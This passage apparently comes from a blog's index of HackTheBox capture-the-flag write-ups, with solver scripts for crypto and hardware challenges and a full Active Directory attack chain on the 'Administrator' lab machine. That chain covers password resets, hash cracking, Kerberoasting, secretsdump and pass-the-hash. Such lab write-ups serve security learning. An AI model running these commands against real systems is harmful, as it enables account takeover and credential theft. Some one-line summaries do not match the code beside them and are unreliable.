\u0026#34;Wolfsbane Extract\u0026#34;, \u0026#34;Goblin\u0026#39;s Gold\u0026#34;, \u0026#34;Phantom Firefly Fizz\u0026#34;, \u0026#34;Spider Sling Silk\u0026#34;, \u0026#34;Widow\u0026#39;s Weave\u0026#34;, \u0026#34;Wraith Whisper\u0026#34;, \u0026#34;Siren\u0026#39;s Serenade\u0026#34;, \u0026#34;Moonlit Mirage\u0026#34;, \u0026#34;Spectral Spark\u0026#34;, \u0026#34;Dragon\u0026#39;s Roar\u0026#34;, \u0026#34;Banshee\u0026#39;s Banshee\u0026#34;, \u0026#34;Witch\u0026#39;s Whisper\u0026#34;, \u0026#34;Ghoul\u0026#39;s Groan\u0026#34;, \u0026#34;Toadstool Tango\u0026#34;, \u0026#34;Vampire\u0026#39;s Kiss\u0026#34;, \u0026#34;Bubbling Broth\u0026#34;, \u0026#34;Mystic Elixir\u0026#34;, \u0026#34;Cursed Charm\u0026#34; ] correct = [ \u0026#34;Phantom Firefly Wing\u0026#34;, \u0026#34;Ghastly Gourd\u0026#34;, \u0026#34;Hocus Pocus Powder\u0026#34;, \u0026#34;Spider Sling Silk\u0026#34;, \u0026#34;Goblin\u0026#39;s Gold\u0026#34;, \u0026#34;Wraith\u0026#39;s Tear\u0026#34;, \u0026#34;Werewolf Whisker\u0026#34;, \u0026#34;Ghoulish Goblet\u0026#34;, \u0026#34;Cursed Skull\u0026#34;, \u0026#34;Dragon\u0026#39;s Scale Shimmer\u0026#34;, \u0026#34;Raven Feather\u0026#34;, \u0026#34;Dragon\u0026#39;s Scale Shimmer\u0026#34;, \u0026#34;Ghoulish Goblet\u0026#34;, \u0026#34;Cursed Skull\u0026#34;, \u0026#34;Raven Feather\u0026#34;, \u0026#34;Spectral Spectacles\u0026#34;, \u0026#34;Dragon\u0026#39;s Scale Shimmer\u0026#34;, \u0026#34;Haunted Hay Bale\u0026#34;, \u0026#34;Wraith\u0026#39;s Tear\u0026#34;, \u0026#34;Zombie Zest Zest\u0026#34;, \u0026#34;Serpent Scale\u0026#34;, \u0026#34;Wraith\u0026#39;s Tear\u0026#34;, \u0026#34;Cursed Crypt Key\u0026#34;, \u0026#34;Dragon\u0026#39;s Scale Shimmer\u0026#34;, \u0026#34;Salamander\u0026#39;s Tail\u0026#34;, \u0026#34;Raven Feather\u0026#34;, \u0026#34;Wolfsbane\u0026#34;, \u0026#34;Frankenstein\u0026#39;s Lab Liquid\u0026#34;, \u0026#34;Zombie Zest Zest\u0026#34;, \u0026#34;Cursed Skull\u0026#34;, \u0026#34;Ghoulish Goblet\u0026#34;, \u0026#34;Dragon\u0026#39;s Scale Shimmer\u0026#34;, \u0026#34;Cursed Crypt Key\u0026#34;, \u0026#34;Wraith\u0026#39;s Tear\u0026#34;, \u0026#34;Black Cat\u0026#39;s Meow\u0026#34;, \u0026#34;Wraith Whisper\u0026#34; ] flag = \u0026#34;\u0026#34;.join(chr(ingredients.index(item) + 0x20) for item in correct) print(\u0026#34;Flag:\u0026#34;, flag) Summary SpellBrewery: build the exploit primitive, stabilize the payload, and use it to read the flag.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-SpellBrewery-Challenge/","protected":null,"snippet":"SpellBrewery: build the exploit primitive, stabilize the payload, and use it to read the flag.","tags":["htb","pwn","linux"],"title":"HackTheBox SpellBrewery Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/778\nDescription We\u0026rsquo;ve discovered that the recent patch deleted critical files from the cybernetic enhancements. To restore functionality, we need to identify which files were removed. Diagnostics checks run during the device\u0026rsquo;s boot process and should reveal that information. We\u0026rsquo;ve connected our serial debugger to the device\u0026rsquo;s debugging interface, capturing the output from the transmitting pin. Can you analyze the data and help us pinpoint the missing files?\nExploitation #!/usr/bin/python3 from pwn import remote, sys def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) class UARTReceiver: def __init__(self, connection, baud_rate=100, data_bits=8, parity=True): self.connection = connection self.baud_rate = baud_rate self.data_bits = data_bits self.parity = parity def receive_bit(self): bit = self.connection.recv(1).decode(\u0026#39;utf-8\u0026#39;) return int(bit) def calculate_parity(self, data_bits): return sum([int(bit) for bit in data_bits]) % 2 == 0 def receive_byte(self): bit = self.receive_bit() while bit != 0: bit = self.receive_bit() data_bits = [] for _ in range(self.data_bits): bit = self.receive_bit() data_bits.append(str(bit)) binary_data = \u0026#39;\u0026#39;.join(data_bits[::-1]) char = chr(int(binary_data, 2)) if self.parity: parity_bit = self.receive_bit() expected_parity = 0 if self.calculate_parity(data_bits) else 1 if parity_bit != expected_parity: print(\u0026#34;Error: Parity bit mismatch\u0026#34;) stop_bit = self.receive_bit() if stop_bit != 1: print(\u0026#34;Error: Stop bit missing or incorrect\u0026#34;) return char def pwn(connection): receiver = UARTReceiver(connection, baud_rate=100, data_bits=8, parity=True) while True: print(receiver.receive_byte(), end=\u0026#39;\u0026#39;) if __name__ == \u0026#34;__main__\u0026#34;: connection = get_process() pwn(connection) Summary yoU ART: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-yoU-ART-Challenge/","protected":null,"snippet":"yoU ART: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox yoU ART Challenge"},{"categories":["machine"],"contents":"","date":"2024-11-19T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-BlockBlock/","protected":true,"snippet":"Enter the password to unlock this machine writeup.","tags":["htb","linux"],"title":"HackTheBox BlockBlock Writeup"},{"categories":["machine"],"contents":"","date":"2024-11-19T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Ghost/","protected":true,"snippet":"Enter the password to unlock this machine writeup.","tags":["htb","windows","linux","active-directory","kerberos","ldap","docker"],"title":"HackTheBox Ghost Writeup"},{"categories":["challenge"],"contents":"","date":"2024-11-18T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Wayback-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","linux"],"title":"HackTheBox WayBack Challenge"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.42 administrator.htb Script to add hosts automatically ip=\u0026#34;10.10.11.42\u0026#34; domain=\u0026#34;administrator.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV administrator.htb\nNmap scan report for administrator.htb (10.10.11.42) Host is up (0.056s latency). Not shown: 987 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-18 18:45:34Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: 6h59m59s | smb2-time: | date: 2024-11-18T18:45:39 |_ start_date: N/A BloodHound Enumeration Run BloodHound to collect Active Directory data:\nbloodhound-python -c All -u Olivia -p \u0026#39;ichliebedich\u0026#39; -d administrator.htb -ns 10.10.11.42 After ingestion (see this tutorial), we find that Olivia has GenericAll permission over Michael. Changing Passwords with BloodyAD Change Michael\u0026rsquo;s Password bloodyad --host \u0026#34;10.10.11.42\u0026#34; -d \u0026#34;Administrator.htb\u0026#34; -u \u0026#34;olivia\u0026#34; -p \u0026#34;ichliebedich\u0026#34; set password \u0026#34;michael\u0026#34; \u0026#34;Password@123\u0026#34; Change Benjamin\u0026rsquo;s Password bloodyad --host \u0026#34;10.10.11.42\u0026#34; -d \u0026#34;Administrator.htb\u0026#34; -u \u0026#34;michael\u0026#34; -p \u0026#34;Password@123\u0026#34; set password \u0026#34;benjamin\u0026#34; \u0026#34;Password@123\u0026#34; Accessing FTP Login to FTP using Benjamin\u0026rsquo;s credentials:\nftp 10.10.11.42 Username: benjamin Password: Password@123 Download the backup file:\nls get Backup.psafe3 Cracking the Password Safe File Crack the password safe file:\nhashcat -m 5200 -a 0 Backup.psafe3 /usr/share/dict/rockyou.txt Cracked Password: tekieromucho Install a Password Safe reader (e.g., PasswordSafe) to open Backup.psafe3 using the cracked password.\nExtracted credentials:\nalexander: UrkIbagoxMyUGw0aPlj9B0AXSea4Sw emily: UXLCI5iETUsIBoFVTj8yQFKoHjXmb emma: WwANQWnmJnGV07WQN8bMS7FMAbjNur Accessing the Machine via Evil-WinRM Login as Emily:\nevil-winrm -i 10.10.11.42 -u \u0026#39;emily\u0026#39; -p \u0026#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb\u0026#39; Retrieve the user flag:\ncat \\users\\emily\\Desktop\\user.txt Kerberoasting Attack Attempt Kerberoasting:\ntargetedkerberoast -v -d \u0026#39;administrator.htb\u0026#39; -u \u0026#39;emily\u0026#39; -p \u0026#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb\u0026#39; Encountered error:\n[!] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) Fix the clock skew:\nserverskew=$(ntpdate -q administrator.htb | awk \u0026#39;{print $6}\u0026#39; | head -n 1 | tr -d \u0026#39;+,\u0026#39; | cut -d \u0026#39;.\u0026#39; -f 1) faketime \u0026#34;$(date -d \u0026#34;+$serverskew seconds\u0026#34; +\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;)\u0026#34; targetedkerberoast -v -d \u0026#39;administrator.htb\u0026#39; -u \u0026#39;emily\u0026#39; -p \u0026#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb\u0026#39; Save the hash to hash.txt.\nCrack the hash:\nhashcat hash.txt /usr/share/dict/rockyou.txt Cracked Password: limpbizkit Dumping Secrets with SecretsDump Dump secrets using Ethan\u0026rsquo;s credentials:\nsecretsdump.py \u0026#39;administrator.htb/ethan:limpbizkit\u0026#39;@\u0026#39;administrator.htb\u0026#39; Gaining Administrator Access Login as Administrator using the dumped NTLM hash:\nevil-winrm -i 10.10.11.42 -u \u0026#39;administrator\u0026#39; -H \u0026#39;3dc553ce4b9fd20bd016e098d2d2fd2e\u0026#39; Retrieve the root flag:\ntype \\users\\administrator\\desktop\\root.txt Summary Administrator: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-11-17T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Administrator/","protected":null,"snippet":"Administrator: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","kerberos","ldap"],"title":"HackTheBox Administrator Writeup"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/795\nDescription In the depths of an old tomb, a cryptic puzzle guarded a powerful relic. Many had attempted to break its code, but none had succeeded. This time, a daring cryptographer discovered a faint inscription on the wall—a clue, seemingly meaningless, about pairs and shadows of two. As they delved into the cipher, the hint began to make sense, guiding their steps through the labyrinth of numbers. But as the final secret unraveled, the crypt echoed with a low whisper: \u0026ldquo;Some things are better left in darkness.\u0026rdquo; The relic was revealed, but the curse had only just begun.\nSource output.txt\nn = 119493145368134756606524581488517378672235496744508597127639648421685629462649680337305664581985725401892086474314689141024498358715132868441978738105268336335778301627806695859205063825847290995872425532374614756539044160447358903375166525543471922868488499105664355206800751381027260462074705122647672994384365333260862845803962495145681040264675164695690862737006515315087470040757606517140071798300326022127659497206583492859643180260756285101547522674696613261207152550090000611298331939402585491230470733454735317291288404096144773097239721697692471487615973994925335486666529576878075473132154318910180009691 e = 65537 c = 78434014553061170529838401917720357645901208101352296269884472900978844319305951884764695717375322363272928093737865793113104432023794235229497701142692681415679549147532592802702053823324082733182072770779006523720442490771120987890027997070704393610765382574187921750560918055356164458340750383236011537901475045013520557031618820264221766743094536121925226791850895255993453048670745607742469934947653147879259892501050933253400391984499229656112961295969492487005786860006961292676090836472527246673699345029628224872195546099448661501561676622720260514226385260271583307493991971640825413235694692735476316469 treat = 41064122210117590309893920850940851964448573197364702312218652847563074658468550776049623436077059647900426409109763901345955202703985682630778316836716410976908994802298857481157910324003086887604087560484126319093760348302784031959884608690718739939531289130555241671099503557713216197592401241234208735819631180320413760718656876867323406561829316166491696103527500078153837145772310740455509956660694823144830260095551391236403182836214728060291251693690579998717099897785954779748569649102911569556210804834065634957865690729391572538723259866564481741517395331813459603466263827141279911919706281328288050460721861661990446597425850271364217052936489186818846863874578006688813944143685727931104321810713830759839918256937075645849871941798921033683465399959646136621559049887273682054277330663458615787744906360121329675910070999119357809181250170609599790023712764414191551844874675524795782430239120555096062003800058693423405350206617745916914116965357631650740005441388405061692790006508760971107741027556312990780727724371467017609554695371798159449361071175599514947307436760940029734313697931199508407965056916479246854944553994533969739046153764629534835323207379057477612661669942078609127146916601554609679997006901572586628537881511818938391905350113674432833361660748486019032622987316746412638187233454037252369980080224744837380800996358881451638758024280972061536248320550269641404509205922332930938158599125930491114698209185841465863646506532208640 source.py\nfrom Crypto.Util.number import getPrime, bytes_to_long from math import prod FLAG = open(\u0026#39;flag.txt\u0026#39;, \u0026#39;rb\u0026#39;).read() primes = [getPrime(128) for _ in range(16)] n = prod(primes) e = 0x10001 m = bytes_to_long(FLAG) c = pow(m, e, n) treat = sum([primes[i]*2**(0x1337-158*(2*i+1)) for i in range(16)]) with open(\u0026#39;output.txt\u0026#39;, \u0026#39;w\u0026#39;) as f: f.write(f\u0026#39;{n = }\\n\u0026#39;) f.write(f\u0026#39;{e = }\\n\u0026#39;) f.write(f\u0026#39;{c = }\\n\u0026#39;) f.write(f\u0026#39;{treat = }\\n\u0026#39;) Exploitation #!/usr/bin/python3 from math import prod from Crypto.Util.number import inverse, long_to_bytes n = 119493145368134756606524581488517378672235496744508597127639648421685629462649680337305664581985725401892086474314689141024498358715132868441978738105268336335778301627806695859205063825847290995872425532374614756539044160447358903375166525543471922868488499105664355206800751381027260462074705122647672994384365333260862845803962495145681040264675164695690862737006515315087470040757606517140071798300326022127659497206583492859643180260756285101547522674696613261207152550090000611298331939402585491230470733454735317291288404096144773097239721697692471487615973994925335486666529576878075473132154318910180009691 e = 65537 c = 78434014553061170529838401917720357645901208101352296269884472900978844319305951884764695717375322363272928093737865793113104432023794235229497701142692681415679549147532592802702053823324082733182072770779006523720442490771120987890027997070704393610765382574187921750560918055356164458340750383236011537901475045013520557031618820264221766743094536121925226791850895255993453048670745607742469934947653147879259892501050933253400391984499229656112961295969492487005786860006961292676090836472527246673699345029628224872195546099448661501561676622720260514226385260271583307493991971640825413235694692735476316469 treat = 41064122210117590309893920850940851964448573197364702312218652847563074658468550776049623436077059647900426409109763901345955202703985682630778316836716410976908994802298857481157910324003086887604087560484126319093760348302784031959884608690718739939531289130555241671099503557713216197592401241234208735819631180320413760718656876867323406561829316166491696103527500078153837145772310740455509956660694823144830260095551391236403182836214728060291251693690579998717099897785954779748569649102911569556210804834065634957865690729391572538723259866564481741517395331813459603466263827141279911919706281328288050460721861661990446597425850271364217052936489186818846863874578006688813944143685727931104321810713830759839918256937075645849871941798921033683465399959646136621559049887273682054277330663458615787744906360121329675910070999119357809181250170609599790023712764414191551844874675524795782430239120555096062003800058693423405350206617745916914116965357631650740005441388405061692790006508760971107741027556312990780727724371467017609554695371798159449361071175599514947307436760940029734313697931199508407965056916479246854944553994533969739046153764629534835323207379057477612661669942078609127146916601554609679997006901572586628537881511818938391905350113674432833361660748486019032622987316746412638187233454037252369980080224744837380800996358881451638758024280972061536248320550269641404509205922332930938158599125930491114698209185841465863646506532208640 exponent_0 = 4919 - 158 * (2 * 0 + 1) # exponent_0 = 4761 treat_bitlen = treat.bit_length() # treat_bitlen = 4922 prime_bits = treat_bitlen - exponent_0 # prime_bits = 161 primes = [] for i in range(16): exponent_i = 4919 - 158 * (2 * i + 1) prime_i = (treat \u0026gt;\u0026gt; exponent_i) \u0026amp; ((1 \u0026lt;\u0026lt; prime_bits) - 1) primes.append(prime_i) n1 = prod(primes) assert n1 == n phi = prod([p - 1 for p in primes]) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m) print(flag) Summary Binary Basis: model the crypto leak, recover the missing secret, and decrypt the flag.\n","date":"2024-11-16T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Binary-Basis-Challenge/","protected":null,"snippet":"Binary Basis: model the crypto leak, recover the missing secret, and decrypt the flag.","tags":["htb","crypto"],"title":"HackTheBox Binary Basis Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/799\nDescription On a cold Halloween night, five adventurers gathered at the entrance of an ancient crypt. The Cryptkeeper appeared from the shadows, his voice a chilling whisper: \u0026ldquo;Five locks guard the treasure inside. Crack them, and the crypt is yours.\u0026rdquo; One by one, they unlocked the crypt\u0026rsquo;s secrets, but as the final door creaked open, the Cryptkeeper\u0026rsquo;s eerie laughter filled the air. \u0026ldquo;Beware, for not all who enter leave unchanged.\u0026rdquo;\nSource server.py\nfrom Crypto.Util.number import isPrime, getPrime, bytes_to_long from Crypto.PublicKey import RSA rounds = 5 e = 65537 for i in range(rounds): print(\u0026#39;*\u0026#39;*10, f\u0026#39;Round {i+1}/{rounds}\u0026#39;, \u0026#39;*\u0026#39;*10) pumpkin1 = getPrime(110) pumpkin2 = getPrime(110) n = pumpkin1 * pumpkin2 large_pumpkin = RSA.construct((n, e)).exportKey() print(f\u0026#39;\\n🎃Can you crack this pumpkin🎃?\\n{large_pumpkin.decode()}\\n\u0026#39;) assert isPrime(_pmp1 := int(input(\u0026#39;enter your first pumpkin = \u0026#39;))), exit() assert isPrime(_pmp2 := int(input(\u0026#39;enter your second pumpkin = \u0026#39;))), exit() if n != _pmp1 * _pmp2: print(\u0026#39;wrong! bye...\u0026#39;) exit() print() print(open(\u0026#39;flag.txt\u0026#39;).read()) Exploitation #!/usr/bin/python3 from pwn import * from Crypto.PublicKey import RSA import re,subprocess def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) def get_sage_factors(n): with open(\u0026#39;factor.sage\u0026#39;, \u0026#39;w\u0026#39;) as f: f.write(f\u0026#34;n = {n}\\nF = factor(n)\\nprint(F[0][0])\\nprint(F[1][0])\u0026#34;) subprocess.run([\u0026#39;sage\u0026#39;, \u0026#39;--preparse\u0026#39;, \u0026#39;factor.sage\u0026#39;]) result = subprocess.run([\u0026#39;sage\u0026#39;, \u0026#39;factor.sage.py\u0026#39;], capture_output=True, text=True) lines = result.stdout.strip().split(\u0026#39;\\n\u0026#39;) return int(lines[0]), int(lines[1]) def solve_challenge(): try: conn = get_process() for round_num in range(5): print(f\u0026#34;\\nStarting Round {round_num + 1}/5\u0026#34;) conn.recvuntil(b\u0026#39;Round\u0026#39;) line = conn.recvline().decode() print(f\u0026#34;Current round: {line.strip()}\u0026#34;) data = conn.recvuntil(b\u0026#39;enter your first pumpkin = \u0026#39;).decode() match = re.search(\u0026#39;-----BEGIN PUBLIC KEY-----(.*?)-----END PUBLIC KEY-----\u0026#39;, data, re.DOTALL) if not match: raise ValueError(\u0026#34;Could not find PUBLIC KEY in response\u0026#34;) pem = match.group(0) key = RSA.importKey(pem.encode()) n = key.n print(f\u0026#39;n = {n}\u0026#39;) p, q = get_sage_factors(n) print(f\u0026#39;Factors found: p = {p}, q = {q}\u0026#39;) print(f\u0026#39;Verifying: {p} * {q} == {n}\u0026#39;) if p * q != n: raise ValueError(\u0026#34;Factorization verification failed!\u0026#34;) conn.sendline(str(p).encode()) print(\u0026#34;Sent first factor\u0026#34;) conn.recvuntil(b\u0026#39;enter your second pumpkin = \u0026#39;) conn.sendline(str(q).encode()) print(\u0026#34;Sent second factor\u0026#34;) response = conn.recvline() print(response.decode().strip()) remaining = conn.recvall(timeout=1) if remaining: print(remaining.decode().strip()) except Exception as e: print(f\u0026#39;Error occurred: {str(e)}\u0026#39;) finally: conn.close() if __name__ == \u0026#39;__main__\u0026#39;: solve_challenge() Summary Brevi Moduli: turn the RSA leak into a lattice recovery, rebuild the secret values, and decrypt the flag.\n","date":"2024-11-16T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Brevi-Moduli-Challenge/","protected":null,"snippet":"Brevi Moduli: turn the RSA leak into a lattice recovery, rebuild the secret values, and decrypt the flag.","tags":["htb","crypto","rsa","lattice"],"title":"HackTheBox Brevi Moduli Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/796\nDescription In the depths of an ancient library, an old manuscript held the key to an unseen power. Scholars who dared to unlock its secrets would first exchange a series of encrypted symbols, forming a bond no one could break. As they secured their connection, layers of protection wrapped around them like invisible chains. But as the final cipher was set, a chilling realization struck—the connection they forged was now bound to something far darker, something watching from the shadows.\nExploitation #!/usr/bin/python3 from Crypto.Util.Padding import pad, unpad from base64 import b64encode, b64decode from Crypto.Cipher import AES from hashlib import sha256 import requests,json,sys,os def get_base_url(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return f\u0026#34;http://{host}:{port}/api\u0026#34; BASE_URL = get_base_url() def generate_keypair(g, p): a = int.from_bytes(os.urandom(48), \u0026#39;big\u0026#39;) % (p - 1) + 1 A = pow(g, a, p) return a, A def init_session(client_public_key): payload = {\u0026#34;client_public_key\u0026#34;: int(client_public_key)} response = requests.post(f\u0026#34;{BASE_URL}/init-session\u0026#34;, json=payload) if response.status_code == 200: data = response.json() server_public_key = int(data[\u0026#39;server_public_key\u0026#39;], 16) return server_public_key else: print(\u0026#34;Error in init_session:\u0026#34;, response.status_code, response.text) return None def compute_session_key(a, server_public_key, p): shared_secret = pow(server_public_key, a, p) return sha256(str(shared_secret).encode()).digest() def decrypt_challenge(session_key, encrypted_challenge): encrypted_data = b64decode(encrypted_challenge) iv, encrypted = encrypted_data[:16], encrypted_data[16:] cipher = AES.new(session_key, AES.MODE_CBC, iv) return unpad(cipher.decrypt(encrypted), AES.block_size) def get_dh_params(): response = requests.post(f\u0026#34;{BASE_URL}/request-session-parameters\u0026#34;) if response.status_code == 200: params = response.json() return int(params[\u0026#39;g\u0026#39;], 16), int(params[\u0026#39;p\u0026#39;], 16) else: print(\u0026#34;Error fetching DH parameters:\u0026#34;, response.status_code, response.text) return None, None def main(): print(\u0026#34;[+] Requesting DH parameters...\u0026#34;) g, p = get_dh_params() if g is None or p is None: print(\u0026#34;[-] Failed to get DH parameters\u0026#34;) return print(f\u0026#34;[+] Received g: {g}, p: {p}\u0026#34;) print(\u0026#34;[+] Generating keypair...\u0026#34;) a, client_public_key = generate_keypair(g, p) print(\u0026#34;[+] Initializing session...\u0026#34;) server_public_key = init_session(client_public_key) if server_public_key is None: print(\u0026#34;[-] Failed to initialize session\u0026#34;) return print(f\u0026#34;[+] Received server public key: {server_public_key}\u0026#34;) print(\u0026#34;[+] Computing session key...\u0026#34;) session_key = compute_session_key(a, server_public_key, p) print(\u0026#34;[+] Requesting challenge...\u0026#34;) response = requests.post(f\u0026#34;{BASE_URL}/request-challenge\u0026#34;) if response.status_code != 200: print(\u0026#34;[-] Failed to get challenge:\u0026#34;, response.status_code, response.text) return encrypted_challenge = response.json()[\u0026#39;encrypted_challenge\u0026#39;] challenge = decrypt_challenge(session_key, encrypted_challenge) challenge_hash = sha256(challenge).hexdigest() print(\u0026#34;[+] Challenge decrypted and hashed\u0026#34;) print(\u0026#34;[+] Requesting flag...\u0026#34;) iv = os.urandom(16) cipher = AES.new(session_key, AES.MODE_CBC, iv) encrypted_packet = iv + cipher.encrypt(pad(b\u0026#39;flag\u0026#39;, 16)) packet_data = b64encode(encrypted_packet).decode() response = requests.post(f\u0026#34;{BASE_URL}/dashboard\u0026#34;, json={\u0026#34;challenge\u0026#34;: challenge_hash, \u0026#34;packet_data\u0026#34;: packet_data}) if response.status_code == 200: encrypted_flag = b64decode(response.json()[\u0026#39;packet_data\u0026#39;]) flag = decrypt_challenge(session_key, response.json()[\u0026#39;packet_data\u0026#39;]) print(\u0026#34;[+] Flag:\u0026#34;, flag.decode()) else: print(\u0026#34;[-] Error during flag retrieval:\u0026#34;, response.status_code, response.text) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Hybrid Unifier: abuse the AES misuse, derive the missing key material, and decrypt the flag.\n","date":"2024-11-16T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Hybrid-Unifier-Challenge/","protected":null,"snippet":"Hybrid Unifier: abuse the AES misuse, derive the missing key material, and decrypt the flag.","tags":["htb","crypto","aes","hash"],"title":"HackTheBox Hybrid Unifier Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/519\nDescription During a cyber security audit of your government's infrastructure, you discover log entries showing traffic directed towards an IP address within the enemy territory of \u0026quot;Oumara\u0026quot;. This alarming revelation triggers suspicion of a mole within Lusons' government. Determined to unveil the truth, you analyze the encryption scheme with the goal of breaking it and decrypting the suspicious communication. Your objective is to extract vital information and gather intelligence, ultimately protecting your nation from potential threats.\nSource messages.txt\n[ \u0026#39;This is some public information that can be read out loud.\u0026#39;, \u0026#39;No one can crack our encryption algorithm.\u0026#39;, \u0026#39;HTB{?????????????????????????????????????????????}\u0026#39;, \u0026#39;Secret information is encrypted with Advanced Encryption Standards.\u0026#39;, ] output.txt\n2ac199d1395745812e3e5d3c4dc995cd2f2a076426b70fd5209cdd5ddc0a0c372feb3909956a791702180f591a63af184c27a6ba2fd61c1741ea0818142d0b92 30c6d0cd775b16c23c3f103a1fd883c4632c11366fbc07d92088cc5ddc0a0c373aef3f12c7606c114f546c7f6e00c87a 36fdb2d97d0a5bcf0225586a1e8abfc62d3057273aab5ae5309d8c4ade060a236aed070d817b2c14110e590b1b27ef5d4d35ddc001b47d6c2bca00101c25039a 2dcc93d07c4a16c833375f2b00d894c62c2d442d3cf90cd43183c559c10006372cea2c1595487c0f4314091c0c268b120f3aaabe7bd31c0c05977a7f7c4f6ce6f59392e0e522e66500e153f7a6f914c7 source.py\n#!/usr/bin/env python3 import os from Crypto.Util import Counter from Crypto.Util.Padding import pad from Crypto.Cipher import AES class AdvancedEncryption: def __init__(self, block_size): self.KEYS = self.generate_encryption_keys() self.CTRs = [Counter.new(block_size) for i in range(len(MSG))] # nonce reuse : avoided! def generate_encryption_keys(self): keys = [[b\u0026#39;\\x00\u0026#39;]*16] * len(MSG) for i in range(len(keys)): for j in range(len(keys[i])): keys[i][j] = os.urandom(1) return keys def encrypt(self, i, msg): key = b\u0026#39;\u0026#39;.join(self.KEYS[i]) ctr = self.CTRs[i] cipher = AES.new(key, AES.MODE_CTR, counter=ctr) return cipher.encrypt(pad(msg.encode(), 16)) def main(): AE = AdvancedEncryption(128) with open(\u0026#39;output.txt\u0026#39;, \u0026#39;w\u0026#39;) as f: for i in range(len(MSG)): ct = AE.encrypt(i, MSG[i]) f.write(ct.hex()+\u0026#39;\\n\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: with open(\u0026#39;messages.txt\u0026#39;) as f: MSG = eval(f.read()) main() Exploitation #!/usr/bin/env python3 from Crypto.Util.Padding import unpad from pwn import xor def main(): with open(\u0026#39;messages.txt\u0026#39;, \u0026#39;r\u0026#39;) as f: plaintexts = eval(f.read()) with open(\u0026#39;output.txt\u0026#39;, \u0026#39;r\u0026#39;) as f: ciphertexts = [bytes.fromhex(line.strip()) for line in f.readlines()] keystream = xor(plaintexts[0].encode(), ciphertexts[0]) flag = xor(keystream, ciphertexts[2]) print(\u0026#34;Decrypted flag:\u0026#34;, flag) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Inizialization: abuse the AES misuse, derive the missing key material, and decrypt the flag.\n","date":"2024-11-16T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Inizialization-Challenge/","protected":null,"snippet":"Inizialization: abuse the AES misuse, derive the missing key material, and decrypt the flag.","tags":["htb","crypto","aes","xor"],"title":"HackTheBox Inizialization Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/789\nDescription E Corp\u0026rsquo;s control hinges on their ability to manipulate and monitor the population. A crucial system has been infiltrated, and it contains vital information about the EverLast chemical. As a member of the immune group, your mission is to gain administrator privileges within the system and access confidential secrets. The system\u0026rsquo;s defenses appear robust, but we believe there\u0026rsquo;s a vulnerability waiting to be exploited due to their outdated infrastructure. Discover the hidden truths and help us dismantle their control over society. The future of our freedom rests in your hands.\nExploitation #!/usr/bin/python3 import re,sys,requests from base64 import b64encode, b64decode def get_base_url(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) return 